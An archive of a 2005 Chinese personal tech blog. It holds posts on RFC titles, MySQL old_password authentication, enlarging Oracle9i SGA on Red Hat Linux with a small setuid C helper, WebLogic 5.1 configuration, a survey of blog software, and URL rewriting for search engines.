    RFC2971 Internet信息访问协议(IMAP4)的标识符扩展 
    RFC2976 SIP信息方法 
    RFC2983 有区别的协议和通道 
    RFC2984 CAST-128密码算法在CMS中的使用 
    RFC2987 字符集注册和语言媒体特征标签 
    RFC2988 计算TCP重传时间的定时器 
    RFC2991 多路径分发在Unicast上和多点传送下一路程段选择 
    RFC2992 等值多-路径算法的分析
    RFC2994 MISTY1加密算法的描述



    RFC3001 对象标识符的URN名称空间 
    RFC3003 audio/mpeg 媒体类型 
    RFC3005 IETF 讨论列表许可证
    RFC3007 安全的域名系统动态更新
    RFC3009 奇偶向前纠错 MIME类型的注册
    RFC3012 移动IP的询问/应答扩展机制 
    RFC3014 提示日志 管理系统库(MIB) 
    RFC3016 用于MPEG-4视听流的RTP负载格式 
    RFC3018 统一内存空间协议说明书
    RFC3019 IP 版本 6 管理信息基础用于多点传送听众探索协议
    RFC3021 在Ipv4点对点连接中使用31位前缀
    RFC3022 传统IP网络地址转换(传统NAT)

    RFC3026 在ENUM上联络到IETF/ISOC
    RFC3028 滤网:一种邮件过滤语言
    RFC3029 Internet X.509 公共键下部构造数据有效性和认证服务协议
    RFC3032 MPLS标记栈编码
    RFC3033 信息域和协议标识符在Q.2941普通标识符和Q.2957用户对用户发送信号中的分配 用于Internet 协议
    RFC3034 标签转换在帧中继网络说明书中的使用
    RFC3035 MPLS使用LD和ATM VC交换
    RFC3037 LDP 的适用性
    RFC3038 VCID提示通过ATM链接用于LDP
    RFC3040 Internet网复制和缓存分类法
    RFC3042 使用有限传输增强TCP的丢失恢复能力
    RFC3043 Network Solutions的个人网络名(PIN): 一种个人和组织的统一资源名域
    RFC3044 在ISSN-URN命名空间中用ISSN作为URN
    RFC3046 DHCP 中继代理信息选项
    RFC3048 可靠的多点传输建立阻止一对多大数据传送
    RFC3051 IP有效载荷压缩使用ITU-T V.44打包方法
    RFC3055 PINT服务体系结构管理信息基础.
    RFC3058 IDEA加密算法在CMS上的使用
    RFC3059 服务定位协议的属性列表扩展
    RFC3061 对象标识符的一种URN姓名空间
    RFC3062 LDAP口令修改扩展操作
    RFC3066 语言鉴定标签
    RFC3067 TERENA'S事件对象描述和转换格式要求
    RFC3069 VLAN聚合实现IP地址有效分配
    RFC3070 基于帧中继的第二层隧道协议
    RFC3072 结构化的数据改变格式 (SDXF)
    RFC3074 DHC加载平衡算法
    RFC3078 微软点对点加密(MPPE)协议
    RFC3081 将区块扩展交换协议(BEEP)核心映射到传输控制协议(TCP)
    RFC3082 服务定位协议(SLP)的预研报告
    RFC3083 基线私人界面管理信息基础(MIB)用于兼容Cable Modems和Cable Modem 终端系统的DOCSIS 
    RFC3085 新闻型标记语言(NewsML)资源的URN名字空间 
    RFC3090 域名系统在区域状况下的安全扩展声明
    RFC3091 改进数字产生协议 
    RFC3093_防火墙增进协议 (FEP)
    Posted by vitter at 2005-06-17 17:55:27 | 评论 (1) | 引用

    June 12, 2005

    解决php连新版本mysql数据库错误

    在更新到 4.1.1x 版本的 MySQL 后,发现需要使用 MySQLi 扩展方能正常使用数据库,否则会出现 1251 - Client does not support authentication protocol requested by server; consider upgrading MySQL client 的提示,这个很纳闷,我没有研究具体的问题,只是切换到 MySQLi 扩展,其实在给 root 加上密码前还是可以使用 MySQL 扩展的,可是给 root 加上密码后就出现了上述客户端版本太低的提示。
      目前已知解决方法:

    先用root登录MYSQL服务器,执行

    mysql>set password for user1@"localhost"=old_password('yourPassword');

      原因是因为你使用的mysql服务器版本中使用了新的密码验证机制,这需要客户端的版本要在4.0以上,原来的密码函数被改为old_password();,这样使用password()生成的密码在旧的版本上的客户端就不好使了,而PHP中的MYSQL客户端都是3.23的(当然,mysqli的扩展除外),问题就在这了。

    Posted by vitter at 2005-06-12 10:04:48 | 评论 (0)

    May 31, 2005

    在Red Hat Linux高级服务器2.1上启用大型Oracle9i系统全局区域(转)

    作者:Zafar Mahmood 和Robert Hentosh (2003年 8月)

    为更快地访问Red Hat Linux高级服务器2.1上运行的Oracle9iTM 数据库,管理员可以加大数据库的系统全局区域(SGA)。本文描述了加大SGA的两种方法。

    信息是现在企业中最核心的资产。企业需要以安全和高效的方式快速访问数据,分析市场趋势。数据库服务器采用群集工作可以实现这些目标。但是,由于机械和物理上的限制,磁盘访问本身速度较慢。要想更快地访问数据库,应当将大部分数据放置到内存中。系统全局区域(SGA)是Oracle® 数据库放置数据库块缓存从而不借助磁盘读取实现快速、重复访问的区域。

    管理运行在Red Hat® Linux® 高级服务器2.1上、至少具有4GB内存的系统上的Oracle9iTM 数据库的管理员可以将SGA从缺省的1.7GB加大到2.7GB。在配置4GB多内存的系统中,在理论上管理员可以将SGA扩大到15GB。但是,达到这一目的的方法并不支持Oracle9i Release 2,这一版本在数据库中支持动态SGA和多个块大小。

    有两种方法可以用来加到Oracle SGA:

    对于具有4GB内存的系统:减小mapped_base 参数,并重新分配SGA
    对于超过4GB内存的系统:使用扩展缓存内存或超大内存方法运行Red Hat Linux AS2.1 企业版内核


    本文提供了完成这两种方法所需要的步骤。管理员应当仔细计划这些步骤,并在非生产环境中进行彻底的测试,然后才能应用到生产数据库中。

    降低mapped_base并重新分配SGA

    如果机器至少具有4GB物理内存,管理员可以通过降低mapped_base参数并重新分配SGA的方法,将SGA从缺省的1.7GB提高到2.7GB。这种方法仅仅对Oracle 8.1.7, 9.0.1或9.2.x有效。这种方法的一个缺点是将了Oracle程序全局区域(PGA)和用户会话的虚拟内存。管理员可能需要在实施这一方法之后重新调整Oracle排序区域的大小。

    将内存基址降低到到0x10000000 (十进制268435456)之后,0x10000000 和0x15000000 之间的地址用作加载Oracle库;剩余的3GB用户地址空间用于Oracle可执行文件和更大的SGA。Oracle可执行文件将从0x15000000处开始加载,为SGA提供更大空间。图1 展示了内存基址从缺省的0x40000000 (十进制1073741824) 降低到 0x10000000 (十进制268435456),这可以为Oracle进程提供更多的内存(增加了805,306,368字节)。
    1.jpg
    图1. 降低内存基址,将SGA从缺省的1.7GB提高到2.7GB

    要降低内存基址,管理员可以采用以下这些基础步骤:

    以 root身份,更改shmmax 内核参数,以容纳整个SGA。 (源码以及接下来的步骤,参见本文后面的"更改mapped_base的值的C程序" )
    以 root身份,降低Oracle Linux shell用来启动和关闭数据库的mapped_base 。
    以 oracle身份,更改ksms.s 并重新连接Oracle执行文件

    更改shmmax内核参数
    从任一root Linux shell中,管理员都可以更改shmmax内核参数,以容纳整个SGA。对于约2.7GB的SGA,管理员应当输入:

    [root@oratest root]# echo 3000000000 > /proc/sys/kernel/shmmax

    "更改mapped_base值的C程序"中的程序也可以在每次oracle 用户登陆的时候自动完成这一步。


    降低mapped_base
    在更改shmmax内核参数之后,管理员应当在操作系统级上更改用来启动Oracle实例的父shell。这个过程让父shell的子进程可以访问更多内存。要更改父shell,管理员应当完成以下步骤:

    找到oracle用来启动数据库的shell的进程标识 (PID):
    [root@oratest root]# echo $$
    在另一个会话中以root身份,降低Oracle会话的mapped_base:
    [root@oratest root]# echo 268435456 > /proc/$pid/mapped_base


    在前面的语句中,$pid 指的是启动Oracle的shell的PID, 268435456 是0x10000000的十进制形式。

    管理员应当编译"更改mapped_base值的C程序"中提供的C程序:

    作为root, 输入:
    [root@oratest root]# make lowermap
    [root@oratest root]# chmod +s lowermap
    [root@oratest root]# cp lowermap /home/oracle
    在oracle用户的.bash_profile增加下行:
    /lowermap


    以后每次oracle用户登陆时,mapped_base和shmmax的值将调整为支持2.7GB的SGA。降低映射的基址是服务器中每个产生Oracle进程的shell必须要进行的工作—包括将用户本地连接到数据库的所有shell以及用户启动Oracle监听器的shell。(通过这种方式,监听器生成的进程将继承较低的mapped_base)。


    重新分配SGA
    要充分利用较低的mapped_base值,管理员应当采用以下步骤重新链接Oracle二进制文件。这一步骤将给SGA重新分配一个较低的地址,利用更多的物理内存:

    作为用户oracle,输入:
    [root@oratest root]# cd $ORACLE_HOME/rdbms/lib
    备份现有的ksms.s:
    [root@oratest root]# cp ksms.s ksms.s_orig
    [root@oratest root]# genksms -s 0x15000000 > ksms.s
    [root@oratest root]# make -f ins_rdbms.mk ksms.o
    [root@oratest root]# make -f ins_rdbms.mk ioracle


    如果管理员在重新链接的过程中遇到任何问题,可以键入以下命令返回到原始设置:

    [root@oratest root]# cp ksms.s_orig ksms.s

    要返回到Oracle安装的缺省值,输入:

    [root@oratest root]# genksms > ksms.s

    在恢复或重新生成ksms.s之后,输入:


    [root@oratest root]# make -f ins_rdbms.mk ksms.o
    [root@oratest root]# make -f ins_rdbms.mk ioracle

    在进行这些更改后,管理员应当能够将SGA配置到约2.7GB。如果这些步骤的运行不正确,管理员应当接受到一些意外错误,例如ORA-3113连接错误。要提高SGA,他们可以在SQL*Plus窗口中输入下面的命令,然后重启服务器:

    SQL> alter system set db_cache_size= < NEW VALUE in bytes > scope=spfile;

    为确认新的SGA,输入下面的命令

    SQL> show SGA

    扩展缓冲缓存或超大内存

    扩大SAG的另一种方法是扩展缓冲缓存或超大内存(VLM)。管理员可以将这一方法与前一方法(降低mapped_base并重新分配SGA)组合使用。在理论上,扩展缓冲缓存方法在使用DellTM 硬件和Red Hat Linux AS 2.1的情况下,可将SGA提高到15GB1 。但是,这一方法仅支持Oracle9i Release2 ,并且不支持Oracle9i Release2的一些特性,例如动态SGA在数据库中存在多个数据块大小。

    要扩展缓冲缓存,管理员可以进行以下操作:

    作为root, 创建一个共享的内存文件系统 (shmfs)
    作为root, 启用大页面。
    作为root, 更改shmmax 内核参数,以容纳整个 SGA
    作为oracle, 更改 init.ora 以便使用shmfs 并禁止使用db_cache_size 和db_XK_cache_size参数。

    创建共享内存文件系统
    因为shmfs是一个内存文件系统,它的大小可以达到Red Hat Linux AS2.1所允许的最大虚拟内存。虽然企业内核在理论上最大可支持到64GB内存,但目前仅支持16GB。

    要创建shmfs,管理员作为root登陆,并输入以下命令:

    [root@oratest root]# mount -t shm shmfs -o size=8g /dev/shm

    要自动安装内存文件系统,管理员可以在/etc/fstab中添加以下几行:


    [root@oratest root]# vi /etc/fstab
    shm /dev/shm shmfs size=8g 0 0


    启用大页面
    要启用大页面,管理员编辑引导加载器文件/boot/grub/grub.conf ,并增加内核参数 bigpages= < size >MB 。bigpages 参数的值取决于SGA的大小。为了确定这个值的大小,管理员将系统的SGA的GB值乘以1024,然后舍入到最近的百分位就可以。

    例如,对于6GB的SGA,管理员应当进行以下操作:

    确定大页面值。bigpages = 6 x 1024 = 6144
    将答案舍入到最近的百分位。6144 舍入到最近百分位= 6100
    在 /boot/grub/grub.conf 文件中增加bigpages=6100MB,如下所示:
    kernel /boot/vmlinuz-2.4.9-e.12smp ro root= /dev/sda2 bigpages=6100MB
    重启系统
    以root的身份运行以下命令:
    [root@oratest root]# echo 2 > /proc/sys/kernel/shm-use-bigpages
    启动Oracle9i

    更改shmmax 内核参数
    从任一root Linux shell中,都可以更改共享内存的大小(shmmax),将shmmax内核参数设置为系统的物理内存的一半。shmmax的值不能超过4294967295。要将shmmax尽可能设置为接近4GB,输入:

    [root@oratest root]# echo 4000000000 > /proc/sys/kernel/shmmax


    更改Oracle 初始化参数文件
    在init< sid >.ora 中增加以下参数,更改Oracle的初始化参数文件:

    use_indirect_data_buffers=true

    这个参数启用使用32位平台的扩展缓冲缓存基址,32位平台可以支持4GB多物理内存。

    此外,还建议进行以下修改:删除db_cache_size 和db_xK_cache_size 参数,并提高db_block_buffers 参数的值。在提高db_block_buffers 参数之后,管理员应当使用新的SGA重启数据库。

    系统内存资源最大化

    Red Hat Linux Advanced Server 内核增强了扩展性和虚拟内存体系,使Oracle数据库可以更为高效地运行。Advanced Server 2.1 与其它Red Hat Linux 发行版的最大不同之处是大型内存寻址能力、共享内存文件系统以及可配置的进程映射基址。这些特性使Oracle可以最大可能地使用内存资源。

    参考

    Oracle 公司 Red Hat Linux Advanced Server 2.1中的Linux虚拟内存特性和Oracle的内存使用特征。 http://otn.oracle.com/tech/linux/pdf/1_linuxVM_v2_accepted.pdf

    Oracle 公司 Oracle9iR2 on Linux: Red Hat Linux Advanced Server 2.1对性能、可靠性和易管理性的改进。 http://otn.oracle.com/tech/linux/pdf/9iR2-on-Linux-Tech-WP-Final.PDF

    Zafar Mahmood (zafar_mahmood@dell.com) 是Dell企业系统部-解决方案部署方面的软件工程师。他已经在数据库性能优化、数据库系统和数据库群集解决方案等方面工作了6年多。现在他正在位Dell的Oracle9i RAC解决方案工作。Zafar获得纽约大学的电气工程硕士学位,专业是计算机通讯。

    Robert Hentosh (robert_hentosh@dell.com) 是Dell Linux工程团队的一名高级顾问。在加入Dell之前,他已经在软件行业工作了12年,其工作经验涉及设备驱动程序开发、通讯接口以及基于Web的应用。Robert从Bucknell大学获得了物理学和电气工程学士的学位。

    更多信息

    Oracle 和 Linux: http://www.oracle.com/linux

    Dell 和 Oracle: http://www.dell.com/oracle

    __________________________________________________________

    附件:

    更改mapped_base值的C程序


    /*
    * lowermap.c ?suid program to lower the mapped_base shared memory addr
    * Authors: Robert Hentosh, robert_hentosh@dell.com
    * Zafar Mahmood, zafar_mahmood@dell.com
    *
    * Copyright 2002 Dell Inc. Distributed under the GPL
    *
    * This program comes with ABSOLUTELY NO WARRANTY.
    */


    #include < sys/types.h >
    #include < unistd.h >
    #include < errno.h >
    #include < fcntl.h >
    #include < stdio.h >
    #include < signal.h >
    #define NEW_MAPPED_BASE "0x10000000"
    #define NEW_SHMMAX "0xB2D05E00"
    #define PROGNAME "lowermap"


    int main( int argc, char *argv[] )
    {
    pid_t ppid;
    char fname[256];
    int fd;
    int retval;


    /** should ignore signals in setuid() programs **/
    signal( SIGCHLD, SIG_IGN );
    signal( SIGCONT, SIG_IGN );
    signal( SIGTSTP, SIG_IGN );
    signal( SIGTTIN, SIG_IGN );
    signal( SIGTTOU, SIG_IGN );

    ppid = getppid();


    sprintf( fname, "/proc/%u/mapped_base", ppid );
    fd = open( fname, O_WRONLY );
    if ( fd == -1 ) {
    /* possibly not on Red Hat Enterprise Linux */
    fprintf( stderr, "Unable to open file: %s\n", fname );
    perror( PROGNAME );
    exit errno;
    }


    retval = write( fd, NEW_MAPPED_BASE, sizeof( NEW_MAPPED_BASE ) );
    if ( retval == -1 ) {
    /* possibly lowermap is not setuid root */
    fprintf( stderr, "Unable to modify mapped base.\n" );
    fprintf( stderr, " Verify program permissions and ownership.\n" );
    perror( PROGNAME );
    exit errno;
    }


    close( fd );
    printf( "Lowering mapped base for pid:%u to %s\n", ppid, NEW_MAPPED_BASE );


    fd = open( "/proc/sys/kernel/shmmax", O_WRONLY );
    if ( fd == -1 ) {
    fprintf( stderr, "Unable to modify maximum shared memory segment size.\n" );
    perror( PROGNAME );
    exit errno;
    }


    retval = write( fd, NEW_SHMMAX, sizeof( NEW_SHMMAX ) );
    if ( retval == -1 ) {
    fprintf( stderr, "Unable to modify maximum shared memory segment size.\n" );
    perror( PROGNAME );
    exit errno;
    }


    close( fd );
    printf( "Increased maximum shared memory segment size to %u\n", NEW_SHMMAX );


    exit (0);
    }

    Posted by vitter at 2005-05-31 16:43:39 | 评论 (0)

    May 17, 2005

    linux下的oracle用exp导出的数据用imp导入字符集问题

    前几天一个oracle服务器坏了,重装系统和oracle以后发现备份的数据导入全是乱码,问题如下:
    用exp整库备份的数据导入到linux下的时候字符集的问题,中文出现乱码,但是在windows下用imp导入没有问题,我们从linux本地导入出现问题,修改字符集设置不管用.插入中文内容不乱码,说明我们的数据支持中文,因此没有问题.
    发现在Oracle 8.1.7 for Windows NT的服务器(或装有Oracle 8.1.7 for windows 95/98的工作站)上直接用Oracle 8.1.7 for Windows NT的导入工具imp80远程对Oracle 8.1.7 for Digital UNIN数据库进行数据导入,问题竟得到解决。
    在NT的服务器上,修改tnsnames.ora(或通过Oracle Net8 Easy config)设置数据库连接字符串dbnms(可自行设定)指向Oracle 8.1.7 for Digital UNIN服务器。
    在NT的服务器上进行数据远程导入
    c:>imp userid=用户/密码@dbnms file=back.dmp fromuser=用户 touser=用户 rows=y ignore=y

    Posted by vitter at 2005-05-17 12:54:37 | 评论 (0)

    April 22, 2005

    WebLogic5.1安装配置


    本文以WebLogic5.1.0为例子,因为我们现有正式商业版为5.1.0。(jdk最好为1.3.1)
    先将WebLogic解压到/usr/local目录下,需要修改WebLogic安装目录下的StartWebLogic.sh脚本文件来来设置你的CLASSPATH和JAVA_HOME,最后也是通过这个脚本文件来启动服务。现在启动的服务还不支持JSP/EJB/Servlet等技术,所以还需要修改WebLogic安装目录下的weblogic.properties文件。下面就详细介绍如何来配置这个文件。
    第98行:
    weblogic.system.listenPort=80
      设置HTTP端口,默认是7001
    第114行:
    weblogic.password.system=cluster4
      设置启动Console的密码,默认密码长度为8位
    第139行:
    weblogic.system.SSLListenPort=7002
      设置SSL端口,默认是7002
    第236行:
    weblogic.system.minPasswordLen=8
      设置最小密码长度,默认为8位
    第495行-第508行:
      设置你自己的RMI,命令格式如下:
    weblogic.system.startupClass.[virtualName]=[fullPackageName]
     例如:
    weblogic.system.startupClass.hello=examples.rmi.hello.HelloImpl
    第524行:
    #weblogic.ejb.deploy=
    # /usr/WebLogic/myserver/Your_Ejb.jar,
      默认情况是不允许使用EJB,如果要使用可以把前面的注释去掉,再设置你的EJB的路径
    第539行-第543行:
      增加用户列表,命令格式如下:
    weblogic.password.[username]=XXX
      例如:
    weblogic.password.xxx=11111111
    604行:
    weblogic.httpd.session.enable=true
      允许在服务器端使用session;session在开发电子商务程序时非常有用
    第663行-第674行:
    663行:#weblogic.jdbc.connectionPool.db2Pool=
    664行:# url=jdbc:db2//localhost/database,
    665行:# driver=COM.ibm.db2.jdbc.net.DB2Driver,
    666行:# loginDelaySecs=1,
    667行:# initialCapacity=4,
    668行:# maxCapacity=10,
    669行:# capacityIncrement=2,
    670行:# allowShrinking=true,
    671行:# shrinkPeriodMins=15,
    672行:# refreshMinutes=10,
    673行:# testTable=table,
    674行:# props=user=db2admin;password=db2admin
      设置你要使用到的JDBC POOL,默认情况是不允许使用,如果要使用JDBC POOL可以将前面的注释去掉,不过首先你的JDBC驱动程序必须是在StartWebLogic.sh的CLASSPATH中已经存在的。其中663行是设置JDBC POOL的名字(如db2Pool);664和665行是注册JDBC驱动程序以及连接的数据库;667行为缺省的连接数;668行为连接池中最大连接数;674行为连接数据库的用户名和密码
    第767行:
    weblogic.httpd.register.*.shtml=
    weblogic.servlet.ServerSideIncludeServlet
      允许使用SSI,即允许使用.shtml为后缀的扩展名
    第790行:
    weblogic.httpd.register.servlets=weblogic.servlet.ServletServlet
      允许使用Servlet,例如URL:
    http://localhost/servlets/foo/hello
      则实际路径为:
    /home/servlet/foo/hello.class
    第814行:
    weblogic.httpd.documentRoot=/home/www/
      此行为设定WEB页面的发布目录
    第831行:
    weblogic.httpd.servlet.classpath=/home/servlet
      此行用来设置放置Servlet等class文件的目录,当然这个目录还必须在StartWebLogic.sh的CLASSPATH中已经存在的
    第861行-第868行:
    861行:#weblogic.httpd.register.*.jhtml=
    862行:# weblogic.servlet.jhtmlc.PageCompileServlet
    863行:#weblogic.httpd.initArgs.*.jhtml=
    864行:# pageCheckSeconds=1,
    865行:# packagePrefix=examples.jhtml,
    866行:# compileCommand=/usr/java/bin/javac,
    867行:# workingDir=/home,
    868行:# verbose=true
      这几行是用来支持JHTML技术的,默认是不能使用JHTML扩展名,如果想使用JHTML,将前面的注释去掉即可。861行后面的*.jhtml用来注册使用扩展名为jhtml的任意文件;866行设置javac的目录
    第878行-第884行:
    878行:#weblogic.httpd.register.*.jsp=
    879行:# weblogic.servlet.JSPServlet
    880行:#weblogic.httpd.initArgs.*.jsp=
    881行:# pageCheckSeconds=1,
    882行:# compileCommand=/usr/java/bin/javac,
    883行:# workingDir=/home,
    884行:# verbose=true
      这几行是用来支持JSP的,默认是不能使用JSP扩展名,如果想使用JSP,将前面的注释去掉即可。878行后面的*.jsp用来注册使用扩展名为jsp的任意文件;882行设置javac的目录;在WebLogic中如果要运行test.jsp文件,是先将这个文件编译成_test.class后在运行的,所以第883行设置的目录就是用来放编译后的.class文件用的

    修改StartWebLogic.sh脚本
    135行
    esac
    后面加如下:
    IFXCLASSES=./lib/ifxjdbc.jar:./lib/ifxjdbc_g.jar
    MAILCLASSES=./lib/activation.jar:./lib/mail.jar:./lib/pop3.jar
    MYCLASSES=./myclasses
    TRSCLASSES=/data/weblogic2/trs/trsbean/lib/trsbean.jar
    143行
    WEBLOGICCLASSPATH=./license:./classes:./lib/weblogicaux.jar:./myserver/serverclasses
    后加:$IFXCLASSES:$MAILCLASSES:$MYCLASSES:$TRSCLASSES
    倒数第二行
    $JAVA $JAVA_OPTIONS -ms64m -mx64m -classpath $JAVACLASSPATH -Dweblogic.class.path=$WEBLOGICCLASSPATH -Dweblogic.home=. -Djava.security.manager -Djava.security.policy==`pwd`/weblogic.policy weblogic.Server
    改为:
    $JAVA $JAVA_OPTIONS -ms128m -mx256m -classpath $JAVACLASSPATH -Duser.timezone=GMT+08 -Dweblogic.class.path=$WEBLOGICCLASSPATH -Dweblogic.home=. -Djava.security.policy==`pwd`/weblogic.policy weblogic.Server >>/dev/null 2>>/dev/null &

    到目前为止,WebLogic已经基本配置完成,可以用StartWebLogic.sh脚本来启动服务并且使用已经允许的技术。
    注:JDK最好为1.3.1。

    Posted by vitter at 2005-04-22 09:31:18 | 评论 (0)

    win2003的索引服务

    发现在win2003里面系统盘里的System Volume Information目录会增大,原来以为是系统还原的东东,因为在XP系统里面是的,但是发现2003没有系统还原,这个目录是索引服务生成的.
    在管理工具里面的服务里面找到Indexing Service这个服务把他先停止再禁用这样就可以删除系统盘下的System Volume Information里面的东西了,他也不会生成新的了,这个是索引服务是为了加快搜索文件使用的,没p用.就是在System Volume Information目录里面建立些索引文件.
    本来在安装了其他系统后我都会关闭写服务,做下系统加固,这个2003什么都没做,我也不常用,结果发现硬盘空间少了数百M,发现这个问题.

    Posted by vitter at 2005-04-22 09:29:47 | 评论 (1)

    April 04, 2005

    主流 Blog 程序集锦

    几个月没关心blog了,blog程序局势发生了很大的变化,尤其在国内,在原有的那些程序功能越来越强大的同时,还出现了很多不错的blog,但国外没出几个好的,MT还居于霸主地位,也许在未来几年内MT的地位是不会动摇的,国内ASP的L-blog已经成为主流,php里,多用户的Plog发展最快,其他功能都差不多,用的人比较多的是wordpress,exBlogMix,bo-blog,另外几个国产blog发展也很快。具体的功能区别我也说不上来了,大家一个一个去研究吧。

    我选用blog的最基本要求就是:免费,这个最重要,呵呵;完美支持中文,包括显示和搜索;支持分类;可以发表评论,但最好有评论审核功能;支持RSS,z在我看来,不支持rss只能叫做日记本,不能称作blog;支持TrackBack,方便被人引用;有WYSIWYG编辑器;可以上传文件;模板最好和程序分离,方便修改;可以发草稿,方便以后修改。我收集的这些都具备了blog的基本功能,国外blog程序现在有上百个,但真正好用的不多。

    现在很多人在找多用户blog,我列出的大部分都说自己支持多用户,但实际上多用户有两种,一种是多人共同维护一个blog,另一种是每个人有独立的blog,更多的人需要后一种,asp里的oblog和missblog,php里的Plog,asp.net里的Dottext,这几个比较好用。

    下载地址我没有列出,都可以在官方网站下载。

    ASP
    L-Blog: http://www.loveyuki.com 由Loveyuki自主开发的基于 ASP+Access 的小型单用户BLOG,作者比较勤奋,更新很快,现在还有很多L-blog的修改版提供,模板有的非常漂亮。

    Dlog: http://webdream.duoluo.com/ 国人开发比较早的一个blog了,最新版是V2.2 ,现在已经停止了开发,但已经是一个完善的程序了!

    Misslog: http://www.misslog.com/blog 多用户blog,每个blog可以有多个用户参与创作与维护!

    theAnswer: http://bravetime.com/dev/ 程序和界面都非常规范,现在已经是sourceforge的一个开源项目了

    oblog: http://www.oioj.net 是多用户版本的Blog,实现了Blog的大部分功能,发展很快,现在已经出了SQL商业版本了。

    blogx: http://www.blanksoft.com/blogx/

    天畅博客: http://www.skycx.com/blog/ 非常简单小巧,但不支持RSS

    另外几个国外比较看得上眼的:
    dblog: http://www.dblog.it/dblog/
    BP Blog: http://www.betaparticle.com/blog/
    Matthew1471's BlogX: http://blogx.co.uk/Main.asp

    ASP.NET

    DotText: http://scottwater.com/Dottext/default.aspx 非常强大的多用户blog,国内很多大型网站在用,但安装调试非常复杂,有很多汉化版下载。

    BlogX: http://www.simplegeek.com/CategoryView.aspx/BlogX 这里有一个blogx的中文修改版 http://www.blanksoft.com/blogx.asp

    dasBlog: http://www.dasblog.net 新出来的程序,功能也比较齐全

    PHP

    b2: http://www.cafelog.com php blog的老祖宗,操作简单,容易上手,现在好像停止了开发。

    b2evolution: http://www.b2evolution.net B2多用户版,有很多风格和插件。

    wordpress: http://www.wordpress.org 在B2的基础上开发的,添加了很多功能,国内用户很多,。

    pivot: http://www.pivotlog.net PHP+XML,没有使用数据库,有中文语言包,

    nucleus: http://www.nucleuscms.org 这个也是比较老牌的程序了,有中文语言包!

    exBlogMix: http://exblog.fengling.net 功能很强大的blog,更新很快,推荐使用。

    M-logger: http://miracle.shakeme.net 文本储存数据。

    bo-blog: http://www.bo-blog.com/ 文本数据库,现在发展的很快。

    drupal: http://www.drupal.org 著名的开源程序,功能非常强大,多用户,有多种插件和皮肤下载!

    O-BLOG: http://her.com.ru/ 需在PHP+MYSQL环境下运行,采用 SMARTY 模板,HTMLAREA编辑器

    R-Blog: http://rays.512j.com/ 采用PHPLIB模版引擎,程序与美工基本分离,改版比较方便

    boeiblog: http://myblog.boei.cn 新出来的blog程序,简单易用,模板很多。

    SaBlog: http://www.4ngel.net/project/sablog.htm 安全天使小组开发的一个简单易用的blog,支持模板

    Pmschine: http://www.pmachine.com 这个估计是blog的元老了,不过现在已经商业化了,新版本名叫Expression Engine,在国内可以免费下载!

    bBlog: http://dev.bblog.com/ 一个非常简洁好用的blog,汉化版: http://www.xptop.com/lei/

    serendipity: http://www.s9y.org 功能很多,每个功能以模块方式安装,界面也很容易修改。

    bMachine: http://boastology.com 同时支持文本数据库和MySQL数据库,支持中文搜索。

    Plog http://www.plogworld.org/ php blog里的最好作品了,真正的多用户,博客中国,blogit都是用这个改的。

    Plainslash: http://www.51zhao.com/plainslash/ 文本blog程序,作者很久没更新了,但现在blog的基本功能都有了。

    myphpblog: http://www.myphpblog.org/

    sunlog: http://www.sunlog.org

    RCBlog: http://rcsoft.co.nr/

    Twoblog: http://www.twoblog.com/


    CGI

    MT: http://www.movabletype.org 就是我现在用的,世界上用户最多的blog程序,自动生成html!后缀可以自己设置,支持文本数据库和mysql,mssql等!

    Greymatter: http://www.noahgrey.com/greysoft/ 是一个类似 Movable Type 的Blog程序非常简单,也是生成静态文件。

    HUS Reviv: http://supermanc.51.net/norman/blog.cgi 国人开发的,功能很强大,但由于cgi语言的问题,安装调试比较复杂,而且很占资源。

    Blosxom: http://www.blosxom.com 很老的一个程序了,也可能是世界上最小的blog系统了,只有一个文件却实现了blog的大部分功能!

    JSP:

    DLOG4J: http://dlog4j.sourceforge.net/ 国人开发的,已经申报SourceForge项目 中文官方站: http://www.javayou.com

    TM: http://www.terac.com朋友andy开发的一个功能强大的blog,支持文件上传、RSS、评论、WYSIWYG 编辑器等功能,多种语言(含简体中文)

    Posted by vitter at 2005-04-04 16:59:35 | 评论 (2)

    March 28, 2005

    如何提高在Google中的排名——Search Engine Friendly的URL设计

    如何提高在Google中的排名
    ——Search Engine Friendly的URL设计

    关键词:"url rewrite" mod_rewrite isapi rewrite path_info iis "search engine friendly" "ISAPI_Rewrite"

    内容摘要:不得不承认,将动态网页链接rewriting成静态链接是最保险和稳定的面向搜索引擎优化方式此外随着互联网上的内容以惊人速度的增长也越来越突出了搜索引擎的重要性,如果网站想更好地被搜索引擎收录,网站设计除了面向用户友好(User Friendly)外,搜索引擎友好(Search Engine Friendly)的设计也是非常重要的。进入搜索引擎的页面内容越多,则被用户用不同的关键词找到的几率越大。在Google的算法调查一文中提到一个站点被Google索引页面的数量其实对PageRank也是有一定影响的。由于Google 突出的是整个网络中相对静态的部分(动态网页索引量比较小),链接地址相对固定的静态网页比较适合被Google索引(怪不得很多大网站的邮件列表归档和BLOG按日期归档的文档很容被搜的到),因此很多关于面向搜索引擎 URL设计优化(URI Pretty)的文章中提到了很多利用一定机制将动态网页参数变成像静态网页的形式:
    比如可以将:
    http://phpunixman.sourceforge.net/index.php?mode=man¶meter=ls
    变成:
    http://phpunixman.sourceforge.net/index.php/man/ls

    实现方式主要有2种:

    * 基于url rewrite
    IIS的ISAPI REWRITE下载(免费)
    * 基于path_info

    把URI地址用作参数传递:URL REWRITE

    最简单的是基于各种WEB服务器中的URL重写转向(Rewrite)模块的URL转换:
    这样几乎可以不修改程序的实现将 news.asp?id=234 这样的链接映射成news/234.html,从外面看上去和静态链接一样。Apache服务器上有一个模块(非缺省):mod_rewrite:URL REWRITE功能之强大足够写上一本书。

    当我需要将将news.asp?id=234的映射成news/234.html时,只需设置:
    RewriteRule /news/(\d+)\.html /news\.asp\?id=$1 [N,I]
    这样就把 /news/234.html 这样的请求映射成了 /news.asp?id=234
    当有对/news/234.html的请求时:web服务器会把实际请求转发给/news.asp?id=234
    而在IIS也有相应的REWRITE模块:比如ISAPI REWRITE和IIS REWRITE,语法都是基于正则表达式,因此配置几乎和apache的mod_rewrite是相同的:
    比对于某一个简单应用可以是:
    RewriteRule /news/(\d+)\.html /news/news\.php\?id=$1 [N,I]
    这样就把 http://www.chedong.com/news/234.html 映射到了 http://www.chedong.com/news/news.php?id=234

    一个更通用的能够将所有的动态页面进行参数映射的表达式是:
    把 http://www.myhost.com/foo.php?a=A&b=B&c=C
    表现成 http://www.myhost.com/foo.php/a/A/b/B/c/C。
    RewriteRule (.*?\.php)(\?[^/]*)?/([^/]*)/([^/]*)(.+?)?$1(?2$2&:\?)$3=$4?5$5: [N,I]

    以下是针对phpBB的一个Apache mod_rewrite配置样例:

    RewriteEngine On
